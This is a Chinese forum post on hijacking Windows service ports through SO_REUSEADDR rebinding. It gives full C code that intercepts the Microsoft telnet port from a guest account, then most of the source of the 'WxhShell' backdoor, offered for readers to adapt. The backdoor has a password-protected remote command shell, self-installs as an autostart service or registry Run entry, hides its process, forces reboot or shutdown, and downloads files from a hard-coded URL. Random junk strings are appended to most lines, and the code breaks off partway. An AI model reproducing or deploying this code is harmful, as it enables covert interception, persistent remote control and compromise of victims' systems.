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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _Prh&Q1zs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nI_43rG:Uf  
R@+%~"Z  
  saddr.sin_family = AF_INET; m~#f L  
o<Esh;;*nm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -Dx_:k|k  
J*nQ(*e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;!ICLkc$  
DaN=NURDV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G=.vo3  
/s'7[bSv  
  这意味着什么?意味着可以进行如下的攻击: 3($cBC  
$E j;CN59  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $mV1K)ege  
AO R{Xm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6dCS Gb  
/3VSO"kcZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mO6rj=L^  
CTG:C5OK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #s\HiO$BT  
C3XB'CL6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8R) 0|v&;  
j>{Dbl:#2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R7q\^Yzo  
vG{+}o#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,u:J"epM  
e6 R<V]g  
  #include !>,\KxnM  
  #include /f5*KRM  
  #include 4Pbuv6`RK  
  #include    LkUYh3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "}ms|  
  int main() rF3QmR?l  
  { ]d4`PXI  
  WORD wVersionRequested; |8bqn^@$t  
  DWORD ret; zA ; 7Nv$3  
  WSADATA wsaData; &zxqVI$4  
  BOOL val; / bxu{|.  
  SOCKADDR_IN saddr; &y7<h>z  
  SOCKADDR_IN scaddr; e;*GbXd|  
  int err; ,v#F6xv8  
  SOCKET s; X\ -IAv  
  SOCKET sc; _V jfH2Y  
  int caddsize; )2tDX=D  
  HANDLE mt; u\jQe@j '  
  DWORD tid;   iOFp9i=j  
  wVersionRequested = MAKEWORD( 2, 2 ); AqdQiZ^9  
  err = WSAStartup( wVersionRequested, &wsaData ); K-a~Kr  
  if ( err != 0 ) { <Z nVWER  
  printf("error!WSAStartup failed!\n"); L[|($vQ"  
  return -1; nOH x^(  
  } !iys\ AV  
  saddr.sin_family = AF_INET; r@O5{V  
   m#i5}uHHg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DFk0"+Ky  
m=qEQy6#2u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ho'Ihep,L  
  saddr.sin_port = htons(23); ~yGD("X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4R(H@p%+r2  
  { uPmK:9]3R  
  printf("error!socket failed!\n"); gPW% *|D,  
  return -1; [1LlzCAFBw  
  } pM|m*k  
  val = TRUE; RjcU0$Hi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )V6Bzn}9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fLtN-w6t  
  { vj_[LFE  
  printf("error!setsockopt failed!\n"); Z7="on4  
  return -1; \Nvu[P  
  } uIvAmc4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1(q &(p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Xxz_h*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >!U oS  
xy^t_];X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @X|Mguq5  
  { u!B6';XY  
  ret=GetLastError(); b%-S'@ew  
  printf("error!bind failed!\n"); A=PJg!  
  return -1; ]52.nxs~  
  } MJzY|  
  listen(s,2); =o!1}'1}}  
  while(1) Q[wTV3d  
  { ?xRx|_}e  
  caddsize = sizeof(scaddr); jDV;tEY#^  
  //接受连接请求 m\0Xh*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tbH` VD"u  
  if(sc!=INVALID_SOCKET) 3w>S?"W#  
  { kL7n`o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :j)v=qul  
  if(mt==NULL) v7h!'U[/  
  { `<"@&N^d  
  printf("Thread Creat Failed!\n"); YUGEGXw  
  break; pGsk[.  
  } k6}M7 &nY  
  } *K57($F  
  CloseHandle(mt); TI<?h(*R_  
  } mr 6~8 I  
  closesocket(s); EZY <k#  
  WSACleanup(); P,eP>55'K  
  return 0; 4eRV?tE9  
  }   2m*g,J?ql  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^D%hKIT  
  { &tJ!cTA.-  
  SOCKET ss = (SOCKET)lpParam; ;!C~_{/t  
  SOCKET sc; *3Vic  
  unsigned char buf[4096]; }x9D;%)/  
  SOCKADDR_IN saddr; ^5GyW`a}  
  long num; )Z=S'm k4_  
  DWORD val; XHh!Q0v;  
  DWORD ret; q;)+O#CR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pnpx`u;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4#D<#!]^  
  saddr.sin_family = AF_INET; 7~I*u6zY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t/kMV6  
  saddr.sin_port = htons(23); k$ORVU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z{q|HO  
  { Gkr]8J  
  printf("error!socket failed!\n"); V?zCON  
  return -1; T[L7-5U0  
  } C5F=J8pY  
  val = 100; )&") J}@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jY+u OH  
  { .,9e~6}  
  ret = GetLastError(); n | M~C\*  
  return -1; %0gcNk"=  
  } }t FRl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S=@bb$4-T  
  { 7;i [  
  ret = GetLastError(); Jqp;8DV}  
  return -1; @CUYl*.PD  
  } e|e"lP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kR !O-@GJ]  
  { 6/=0RTd  
  printf("error!socket connect failed!\n"); b)(rlX  
  closesocket(sc); d$gT,+|vu  
  closesocket(ss); # GbfFoE  
  return -1; }|j \QjH  
  } _-R&A@  
  while(1) y[64O x  
  { b;5&V_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6]^~yby P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QB"Tlw(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n90DS/Yx  
  num = recv(ss,buf,4096,0); xe&w.aBI>  
  if(num>0) N fBH  
  send(sc,buf,num,0); ?nCo?A  
  else if(num==0) u==`]\_@  
  break; }I3m8A  
  num = recv(sc,buf,4096,0); ; "K"S[  
  if(num>0) sq45fRAi  
  send(ss,buf,num,0); !K%8tr4   
  else if(num==0) S11ME  
  break;  v[+ ]  
  }  {S$61ut  
  closesocket(ss); ?glK~G!i  
  closesocket(sc); `bJ?8~ 8 *  
  return 0 ; k E},>+W+  
  } +}eH,  
Py~1xf/  
h0oe'Xov  
========================================================== b9Mp@I7Q-  
r^v1_u, 1I  
下边附上一个代码,,WXhSHELL ]I[\Io1  
5kik+  
========================================================== `Fx+HIng,  
.2{*>Dzi  
#include "stdafx.h" Y.b?.)u&  
jYk5]2#A  
#include <stdio.h> WYm<_1  
#include <string.h> {l9gYA  
#include <windows.h> r7jh)Q;BbR  
#include <winsock2.h> GCj[ySCD  
#include <winsvc.h> Gq]/6igzX  
#include <urlmon.h> :ggXVwpe  
.(%]RSBY  
#pragma comment (lib, "Ws2_32.lib") | r,{#EE  
#pragma comment (lib, "urlmon.lib") y!VL`xV  
PS3jCT  
#define MAX_USER   100 // 最大客户端连接数 2 -pv &  
#define BUF_SOCK   200 // sock buffer 2(2UAB"u  
#define KEY_BUFF   255 // 输入 buffer TZ#^AV=ae  
EYRg,U&'  
#define REBOOT     0   // 重启 q|sT4} =  
#define SHUTDOWN   1   // 关机 T"/dn%21  
] B?NDxU  
#define DEF_PORT   5000 // 监听端口 v|R#[vtFd  
) W/_2Q.  
#define REG_LEN     16   // 注册表键长度 Gzc`5n{"  
#define SVC_LEN     80   // NT服务名长度 V<ii  
^6QzaC3  
// 从dll定义API `b KJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KU^|T2s%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i<{:J -U|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~~3*o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :(YFIW`59  
4YgO1}%G  
// wxhshell配置信息 ~wQ M ?h  
struct WSCFG { Z]XjN@j"  
  int ws_port;         // 监听端口 ~7w LnB  
  char ws_passstr[REG_LEN]; // 口令 /V }Z,'+  
  int ws_autoins;       // 安装标记, 1=yes 0=no FA{'Ki`  
  char ws_regname[REG_LEN]; // 注册表键名 meYGIP:n  
  char ws_svcname[REG_LEN]; // 服务名 v, !`A!{D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *G8Z[ht%r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X#o<))  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ? =I']$MH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =9;b|Y"aQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >VppM  `  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +E']&v$  
iXLH[uhO;  
}; ^"iJ  
cs 58: G5  
// default Wxhshell configuration K+ |0~/0  
struct WSCFG wscfg={DEF_PORT, (QS 0  
    "xuhuanlingzhe", r72zWpF!Ss  
    1, 1}~ZsrF  
    "Wxhshell", oDWNOw  
    "Wxhshell", 3X#Cep20a  
            "WxhShell Service", >FS}{O2c  
    "Wrsky Windows CmdShell Service", Rh%A^j@  
    "Please Input Your Password: ", L]q%;u]8!  
  1, P8[k1"c!  
  "http://www.wrsky.com/wxhshell.exe", 32Wa{LG;2  
  "Wxhshell.exe" !p Q*m`Xo  
    }; 9&zQ 5L>  
sJMpF8   
// 消息定义模块 Wf~PP;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y!T8(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,n`S ,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uR.`8s|  
char *msg_ws_ext="\n\rExit."; 4|UtE<<b  
char *msg_ws_end="\n\rQuit."; n72kJ3u.  
char *msg_ws_boot="\n\rReboot..."; &7 9F Uac  
char *msg_ws_poff="\n\rShutdown..."; >D Ai-`e  
char *msg_ws_down="\n\rSave to "; ]GDjR'[z  
s@p:XO  
char *msg_ws_err="\n\rErr!"; {I/t3.R`  
char *msg_ws_ok="\n\rOK!"; "jf_xZ$H-  
to?={@$]  
char ExeFile[MAX_PATH]; 3 bT?4  
int nUser = 0; V`rxjv}!  
HANDLE handles[MAX_USER]; [ OS& eK 8  
int OsIsNt; T%A"E,#  
==S^IBG  
SERVICE_STATUS       serviceStatus; 8gG;A8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0./Rdf=-1j  
iI;np+uYk  
// 函数声明 w,j;XPp  
int Install(void); >3}N;  
int Uninstall(void); >vXS6`;  
int DownloadFile(char *sURL, SOCKET wsh); [ ~kS)  
int Boot(int flag); 8tO.o\)h  
void HideProc(void); q{+}0!o  
int GetOsVer(void); L\R(//V  
int Wxhshell(SOCKET wsl); 4>/i,_&K K  
void TalkWithClient(void *cs); xZ(d*/6E  
int CmdShell(SOCKET sock); 53?Ati\Y)  
int StartFromService(void); mC3:P5/c  
int StartWxhshell(LPSTR lpCmdLine); R,fAl"wMu  
"bz.nE*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 03_M+lv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AW'$5 NF>  
wYDdy gS  
// 数据结构和表定义 \odns  
SERVICE_TABLE_ENTRY DispatchTable[] = $~\Tl:!#?  
{ 7X>*B~(R  
{wscfg.ws_svcname, NTServiceMain}, DcG=u24Xy!  
{NULL, NULL} \Y`psSf+  
}; Ua4P@#cU  
6R*eJICN  
// 自我安装 7`e<H8g  
int Install(void) { R/e1-;  
{ ~S$ex,~  
  char svExeFile[MAX_PATH]; 7I*rtc&Kb  
  HKEY key; o6:@j#b  
  strcpy(svExeFile,ExeFile); wr~Qy4 ny  
[Fv_~F491  
// 如果是win9x系统,修改注册表设为自启动 deJ/3\t  
if(!OsIsNt) { &*oljGt8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q\<NW%KtX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ua[A;K  
  RegCloseKey(key); V{ ~~8b1E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F"QJ)F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;,7m  
  RegCloseKey(key); u68ic1  
  return 0; c~}FYO$  
    } BqM[{Kv  
  } nU0##  
} @H^\PH?pp  
else { x=X&b%09  
#4!f/dWJp  
// 如果是NT以上系统,安装为系统服务 l<'}`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $`R=Q  
if (schSCManager!=0) Vy^mEsQC+h  
{ @1U6sQ  
  SC_HANDLE schService = CreateService [z6P]eC7  
  ( @Y<fj^]k  
  schSCManager, }:[MSUm5  
  wscfg.ws_svcname, O&}R  
  wscfg.ws_svcdisp, {Z1-B60P  
  SERVICE_ALL_ACCESS, %d<UMbS^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LR'~:46#u  
  SERVICE_AUTO_START, ,Ek6X)|@  
  SERVICE_ERROR_NORMAL, WI.+9$1:P  
  svExeFile, %IDl+_j  
  NULL, (`u+(M!^  
  NULL, 'Mhnu2d  
  NULL, /||8j.Tm  
  NULL, yo$A0Ti!w  
  NULL -y[y.#o  
  ); "{3MXAFe  
  if (schService!=0) *~w?@,}  
  { JvaHH!>d/  
  CloseServiceHandle(schService); ]mjKF\  
  CloseServiceHandle(schSCManager); +;Gvp=hk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e@& 2q{Gi=  
  strcat(svExeFile,wscfg.ws_svcname); QUg<~q)Oq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hl*#iUq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lTFo#p_(  
  RegCloseKey(key); "{d[V(lE"  
  return 0; 7M_GGjP  
    } \jS^+Xf?^  
  } YG)7+94  
  CloseServiceHandle(schSCManager); ldc`Y/:{  
} 4VkJtu5  
} Yp8XZ 3  
,mKUCG  
return 1; gKgdu($NJ  
} R;uP^  
Q8]S6,pt  
// 自我卸载 ~q}]/0-m  
int Uninstall(void) ''k}3o.K[  
{ '*t<g@2$  
  HKEY key; @V+KL>Qw  
5d}bl{  
if(!OsIsNt) { ,4}s 1J#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p%/lP{  
  RegDeleteValue(key,wscfg.ws_regname); IxY!.d_s|~  
  RegCloseKey(key); 7t78=wpLc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !\5)!B  
  RegDeleteValue(key,wscfg.ws_regname); 'b+ Tio  
  RegCloseKey(key); q^~w:$^ U  
  return 0; E~8J<g E  
  } z5sKV7&\[n  
} -qLNs_ _k  
} %6Y}0>gY  
else { Ie8SPNY-H  
q~X}&}UT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QqcAmp  
if (schSCManager!=0) M?kXzb\O  
{ F$9+WS`c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2%MS$Fto  
  if (schService!=0) |Z$)t%'  
  { qSaCl6[Do  
  if(DeleteService(schService)!=0) { E.^u:0:P  
  CloseServiceHandle(schService); k\ZU%"^J  
  CloseServiceHandle(schSCManager); $]?M[sL\N7  
  return 0; W=2]!%3#  
  } ;)sC{ "Jb  
  CloseServiceHandle(schService); 5 L-6@@/  
  } zCu+Oi6  
  CloseServiceHandle(schSCManager); eEeK ] 8@  
} gV'=u z v  
} Xj:\B] v]  
'%a:L^a?  
return 1; (D\`:1g  
} [&zSYmDk  
*P`k|-  
// 从指定url下载文件 SW HiiF@  
int DownloadFile(char *sURL, SOCKET wsh) :;Npk9P(N  
{ W=,]#Z+M;  
  HRESULT hr; QR$m i1Vv\  
char seps[]= "/"; ,{Z!T5 |  
char *token; 3v)`` n@  
char *file; q-e3;$  
char myURL[MAX_PATH]; CZ(fP86e  
char myFILE[MAX_PATH]; =CaSd|   
B;Co`o2  
strcpy(myURL,sURL); AQc9@3T~Bi  
  token=strtok(myURL,seps); #Q|ACNpYM  
  while(token!=NULL) <,9rXjeRl  
  { ETfoL.d$(  
    file=token; 0X%#9s ~  
  token=strtok(NULL,seps); U{HBmSR  
  } `<% w4 E  
mrlhj8W?!  
GetCurrentDirectory(MAX_PATH,myFILE); l585L3i  
strcat(myFILE, "\\"); w}x&wWM  
strcat(myFILE, file); [Fr <tKtB  
  send(wsh,myFILE,strlen(myFILE),0); t<+gyAW  
send(wsh,"...",3,0); 6h\; U5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  f^[m~  
  if(hr==S_OK) >~T2MlRux  
return 0; MnptC 1N  
else yeV|j\TJI.  
return 1; ?jnbm'~S  
\K:?#07Wj4  
} "}uV=y  
KoFWI_(b  
// 系统电源模块 YRj"]= 5N  
int Boot(int flag) Wix4se1Ac  
{ @EH@_EwYV  
  HANDLE hToken; 85+w\KuEY  
  TOKEN_PRIVILEGES tkp; ,6wGdaMR  
vGp`P  
  if(OsIsNt) { PxJvE*6^H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .y#>mXm>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SFRYX,0m  
    tkp.PrivilegeCount = 1; kX:8sbZ##4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  L$[1+*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f5.Be%  
if(flag==REBOOT) { Vv>hr+e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zBqNE`  
  return 0; t>"|~T$9  
} .kDJuJ^  
else { 1xsB@D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4& 9V  
  return 0; EL9JM}%0v  
} r#^uY:T%  
  } gE6{R+sp  
  else { WhDNt+uk)  
if(flag==REBOOT) { uHyc7^X>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6H|&HV(!R  
  return 0; {JW_ZJx  
} \}7xgQ>oV  
else { >+*lG>!z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GUsJF;;V  
  return 0;  .+-7 'ux  
} < z{,@Z}  
} (}CA?/  
QQUZneIDp  
return 1; 2%j"E{J&  
} <;NxmO<%\  
:Y&h'FGZm  
// win9x进程隐藏模块 F=$U.K~1?  
void HideProc(void) .c_qMTm"  
{ r6}-EYq=  
|TuFx=~5v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .WW|v  
  if ( hKernel != NULL ) iMp_1EXe  
  {  C0j`H(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k i{8f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }yM!o`90  
    FreeLibrary(hKernel); nkz^^q`5l7  
  } D}bCMN <  
`w% Qs)2  
return; FdMTc(>  
} e:=+~F(f  
.OD{^Kq2  
// 获取操作系统版本 aX35^K /  
int GetOsVer(void) Mog!pmc{  
{ Y!_e ,]GW  
  OSVERSIONINFO winfo; ~@K!>j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7 9ZYRm2;  
  GetVersionEx(&winfo);  lmB+S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U p: M[S  
  return 1; 3F9AnS  
  else !ziO1U  
  return 0; 9 H~OC8R:  
} 6?3\P>`3Y  
?rgtbiSW-  
// 客户端句柄模块 (e[8`C  
int Wxhshell(SOCKET wsl) 6"jV>CNc@  
{ lhJZPnx~  
  SOCKET wsh; &y:SK)  
  struct sockaddr_in client; 6>/g`%`N  
  DWORD myID; Y/G~P,9  
n7'X.=o7  
  while(nUser<MAX_USER) Na_O :\x#  
{ ^9oJuT!tu  
  int nSize=sizeof(client); }<G#bh6;Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GhY MO6Q4  
  if(wsh==INVALID_SOCKET) return 1; l%MIna/Tp  
0%]F&|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z`kI6  
if(handles[nUser]==0) }e&Z"H |  
  closesocket(wsh); .T^e8  
else T3^(I~03  
  nUser++; wnbKUlb  
  } |j7{zsH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $jv/00:&  
xtRHb''FX  
  return 0; Z66q0wR7  
} nSh}1Arp/  
+:m'  
// 关闭 socket ?h'd\.j{  
void CloseIt(SOCKET wsh) FFID<L f/2  
{ ?-9It|R  
closesocket(wsh); 0o-KjX?kP  
nUser--; qX!P:M  
ExitThread(0); UU]a).rz  
} +[$ Q C*  
nL&[R}@W  
// 客户端请求句柄 wm_o(Z}  
void TalkWithClient(void *cs) dzyp:\&9  
{ %PxJnMb?  
BFMINq>  
  SOCKET wsh=(SOCKET)cs; _9b;8%? Yf  
  char pwd[SVC_LEN]; :/FT>UCL  
  char cmd[KEY_BUFF]; ##qs{s^ ]  
char chr[1]; :<>=,`vQD  
int i,j; <LA!L  
2$gOe^ &  
  while (nUser < MAX_USER) { eEMU,zCl  
[f\TnXq24  
if(wscfg.ws_passstr) { =9#cf-?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R(N5K4J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X2hyxTOp  
  //ZeroMemory(pwd,KEY_BUFF); uvj`r5ei  
      i=0; B]5G"4,  
  while(i<SVC_LEN) { 4Rev7Mc  
h;2n2.Q  
  // 设置超时 A>W8^|l6+-  
  fd_set FdRead; p1(<F_Kta  
  struct timeval TimeOut; U<mFwJ C]  
  FD_ZERO(&FdRead); x6B_5eF  
  FD_SET(wsh,&FdRead); h[I~D`q)v  
  TimeOut.tv_sec=8; *S=zJyAO  
  TimeOut.tv_usec=0; O #S27.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gN/6%,H}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8.4+4Vxh   
\*k}RKDwT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eNw9"X}g  
  pwd=chr[0]; @XFy^?  
  if(chr[0]==0xd || chr[0]==0xa) { r__Y{&IO  
  pwd=0; =dT sGNz  
  break; b(|1DE0Cv  
  } .l(t\BfE~  
  i++; Ud[Zv?tA:  
    } "]0sR  
BX=YS)  
  // 如果是非法用户,关闭 socket F~tT5?+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SN/ e41  
} |] 8Hh>  
2[R{IV8e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i?1g{JW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }qOj^pkJ  
rkz_h  
while(1) { V[T`I a\  
Auz.wes  
  ZeroMemory(cmd,KEY_BUFF); p?,:  
W_ hckq.  
      // 自动支持客户端 telnet标准   # ^~[\8v>  
  j=0; N++jI(  
  while(j<KEY_BUFF) { P(#by{s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Ta",S@m  
  cmd[j]=chr[0]; 8rx"D`{|  
  if(chr[0]==0xa || chr[0]==0xd) { OfSHZ;,  
  cmd[j]=0; <"Cacf g  
  break; yC]X&1,:z  
  } b 5X~^L  
  j++; :RE.md  
    } ypK1 sw  
\E3e vU  
  // 下载文件 amY\1quD|  
  if(strstr(cmd,"http://")) { <i(<|/ $  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ` kG}NJf  
  if(DownloadFile(cmd,wsh)) J` J^C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kt*""&R  
  else LCMCpEtY*K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3A(sT}  
  } }+1Y>W7q  
  else { &hb:~>  
Ow\dk^\-G8  
    switch(cmd[0]) { ZH<:YOQ  
  )|?s!rw +  
  // 帮助 !K~:crUV|S  
  case '?': { z rg#BXj7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?-`G0(  
    break; v9qgfdBS5  
  } 0[qU k(=}[  
  // 安装 s;'j n_,0  
  case 'i': { |_^A$Hv  
    if(Install()) I*Q^$YnM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N5%zbfKM  
    else 9j;L-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "X }@VT=  
    break; l" #}g%E  
    } L-T3{I,3  
  // 卸载 lnk`D(>W  
  case 'r': { bo  J  
    if(Uninstall()) 5uU.K3G7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ikn)XZU^  
    else [?vn>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |%@.@c  
    break; 9svnB@  
    } y.l`NTT] <  
  // 显示 wxhshell 所在路径 g{}{gBplnl  
  case 'p': { R\B-cU[,  
    char svExeFile[MAX_PATH]; nf7l}^/UE  
    strcpy(svExeFile,"\n\r"); eXqS9`zKr  
      strcat(svExeFile,ExeFile); d }"Dp  
        send(wsh,svExeFile,strlen(svExeFile),0); QKAo}1Pq  
    break; Xo{|m[,  
    } Gs% cod  
  // 重启 q@}eYQ=P|e  
  case 'b': { !e}LB%zf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .1[[Y}  
    if(Boot(REBOOT)) ;;2Yfn'`9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RvQl{aL  
    else { 9,4Lb]  
    closesocket(wsh); *hP9d;-Ar  
    ExitThread(0); 8$H_:*A?  
    } d3$&I==;:  
    break; YtzB/q8I  
    } pt rQ~m-  
  // 关机 5jTBPct   
